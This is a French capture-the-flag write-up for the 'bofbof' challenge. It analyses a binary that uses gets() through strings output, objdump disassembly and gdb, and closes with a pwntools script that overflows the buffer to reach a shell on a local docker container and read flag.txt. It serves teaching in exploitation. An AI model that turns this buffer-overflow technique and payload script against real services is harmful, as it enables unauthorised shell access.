Présentation du challenge

Le challenge contient :

  • docker-compose.yml: un fichier de configuration permettant d’accéder à un conteneur docker en local
  • bofbof: un executable ELF x64, dynamically linked & not stripped

L’objectif du challenge est d’accéder au fichier flag.txt présent sur le docker.
Le seul problème ? Le programme bofbof tourne déja sur le docker.

Première approche : étude de bofbof

Commençons par lancer bofbof (pensez à render le fichier éxecutable au préalable avec chmod u+x bofbof):

Comment est votre blanquette ? >>>

Le programme demande une entrée utilisateur, rentrons AAAAAA.
Cela ferme tout simplement le programme… la solution serait donc un stack buffer overflow ?

Regardons maintenant ce que donne strings bofbof :

/lib64/ld-linux-x86-64.so.2 gets fflush exit puts printf stdout system __cxa_finalize __libc_start_main libc.so.6 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u/UH AAAAAAAAH AAAAAAAAH9E wfUD3" []A\A]A^A_ /bin/sh Comment est votre blanquette ? >>> Almost there! ;*3$" GCC: (Debian 10.2.1-6) 10.2.1 20210110 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry bofbof.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable stdout@GLIBC_2.2.5 puts@GLIBC_2.2.5 vuln _edata system@GLIBC_2.2.5 printf@GLIBC_2.2.5 __libc_start_main@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used gets@GLIBC_2.2.5 __libc_csu_init fflush@GLIBC_2.2.5 __bss_start main exit@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .got.plt .data .bss .comment

On remarque plusieurs choses intéressantes, premièrement bofbof utilise la fonction gets: cette fonction est extrêmement vulnérable car elle prend une entrée utilisateur sans limite de taille, au point où gcc émet un warning quand elle est utilisée. L’idée est donc bien de faire un stack buffer overflow ! De plus on remarque la présence de system et de vuln: l’executable contient une “faille” et semble capable d’accéder au système du conteneur et ainsi au flag.txt.

Essayons maintenant de lancer bofbof et cette fois de provoquer un buffer overflow :

Comment est votre blanquette ? >>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA zsh :segmentation fault ./bofbof

Ok trop grand, réessayons :

Comment est votre blanquette ? >>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Almost there!

D’accord donc le problème est plus fin qu’un overflow basique, passons aux choses sérieuses.

Les choses sérieuses

Commençons par objdump, ce qui nous donne le disassembly de vuln et main de bofbof :

$ objdump -d bofbof 0000000000001185 <vuln>: 1185: 55 push %rbp 1186: 48 89 e5 mov %rsp,%rbp 1189: 48 8d 3d 78 0e 00 00 lea 0xe78(%rip),%rdi # 2008 <_IO_stdin_used+0x8> 1190: e8 ab fe ff ff call 1040 <system@plt> 1195: bf 01 00 00 00 mov $0x1,%edi 119a: e8 e1 fe ff ff call 1080 <exit@plt> 000000000000119f <main>: 119f: 55 push %rbp 11a0: 48 89 e5 mov %rsp,%rbp 11a3: 48 83 ec 30 sub $0x30,%rsp 11a7: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax 11ae: 41 41 41 11b1: 48 89 45 f8 mov %rax,-0x8(%rbp) 11b5: 48 8d 3d 54 0e 00 00 lea 0xe54(%rip),%rdi # 2010 <_IO_stdin_used+0x10> 11bc: b8 00 00 00 00 mov $0x0,%eax 11c1: e8 8a fe ff ff call 1050 <printf@plt> 11c6: 48 8b 05 8b 2e 00 00 mov 0x2e8b(%rip),%rax # 4058 <stdout@GLIBC_2.2.5> 11cd: 48 89 c7 mov %rax,%rdi 11d0: e8 9b fe ff ff call 1070 <fflush@plt> 11d5: 48 8d 45 d0 lea -0x30(%rbp),%rax 11d9: 48 89 c7 mov %rax,%rdi 11dc: b8 00 00 00 00 mov $0x0,%eax 11e1: e8 7a fe ff ff call 1060 <gets@plt> 11e6: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax 11ed: 41 41 41 11f0: 48 39 45 f8 cmp %rax,-0x8(%rbp) 11f4: 74 26 je 121c <main+0x7d> 11f6: 48 b8 88 77 66 55 44 movabs $0x1122334455667788,%rax 11fd: 33 22 11 1200: 48 39 45 f8 cmp %rax,-0x8(%rbp) 1204: 75 0a jne 1210 <main+0x71> 1206: b8 00 00 00 00 mov $0x0,%eax 120b: e8 75 ff ff ff call 1185 <vuln> 1210: 48 8d 3d 1d 0e 00 00 lea 0xe1d(%rip),%rdi # 2034 <_IO_stdin_used+0x34> 1217: e8 14 fe ff ff call 1030 <puts@plt> 121c: b8 00 00 00 00 mov $0x0,%eax 1221: c9 leave 1222: c3 ret 1223: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 122a: 00 00 00 122d: 0f 1f 00 nopl (%rax)

Ici, c’est surtout le main qui va nous intéresser on remarque premièrement l’appel à vuln :

120b: e8 75 ff ff ff call 1185 <vuln>

Mais on remarque surtout deux blocs qui expliquent que vuln n’est pas appelé en temps normal :

11f0: 48 39 45 f8 cmp %rax,-0x8(%rbp) 11f4: 74 26 je 121c <main+0x7d> . . . 1200: 48 39 45 f8 cmp %rax,-0x8(%rbp) 1204: 75 0a jne 1210 <main+0x71>

Ces deux blocs empêchent le main d’appeler vuln : deux comparaisons forcent le programme à sauter plus loin dans le main et donc à skipper l’appel à vuln.

Le premier bloc fonctionne de la façon suivante : le programme effectue une comparaison entre eax et -0x8(%rbp) (on reviendra plus tard sur cette valeur) et si les deux sont égaux alors le programme effectue le saut (je : jump if) vers <main+0x7d>.

Le second compare là encore eax et -0x8(%rbp)et cette fois si les deux ne sont pas égaux alors le programme effectue le saut (jne : jump if not) vers <main+0x71>.

Mais alors que vaut eax ? Deux lignes nous donne la réponse :

11e6: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax . . . 11f6: 48 b8 88 77 66 55 44 movabs $0x1122334455667788,%rax

Ainsi lors de la première comparaison eax vaut 0x4141414141414141 (soit ‘AAAAAAAA’ en ASCII).
Lors de la seconde il vaut 0x1122334455667788.

Maintenant tentons de comprendre ce que vaut -0x8(%rbp) pour cela lançons gdb et plaçons nous juste avant l’appel à gets :

On a donc la valeur actuelle de -0x8(%rbp) et c’est celle-ci qu’il va falloir changer, l’objectif est donc d’y écrire 0x1122334455667788 pour que le programme ne prenne aucun des deux sauts.

Avançons donc d’une instruction pour voir où se trouve le buffer issu de gets :

On a donc l’emplacement du buffer dans la stack et surtout son emplacement relatif par rapport à rbp (différence de 0x38).
Ainsi, il faut rentrer par exemple "A"*40 + 0x1122334455667788 pour réécrire correctement -0x8(%rbp).

Il suffit maintenant d’effectuer ceci sur le conteneur docker et pour cela, nous allons utiliser un script python.

Dans le cas d’un CTF le conteneur tourne sur un serveur du CTF, ici on peut le lancer localement avec docker compose up --detach (dans le dossier où se trouve le docker-compose.yml).
Pour arrêter le conteneur: docker compose down 😉

Le script

Voici bofbof.py

from pwn import * target = remote("localhost", 4000) ## connection au docker print(target.recv()) padding = b"A"*40 ## construction de la réponse payload = p64(0x1122334455667788) print(padding+payload) target.sendline(padding+payload) ## envoi de la réponse target.interactive() ## laisse le terminal du docker ouvert

Lançons bofbof.py et regardons ce que cela donne :

On a donc réussi à accéder à un terminal et cat flag.txt permet d’accéder à flag.txt.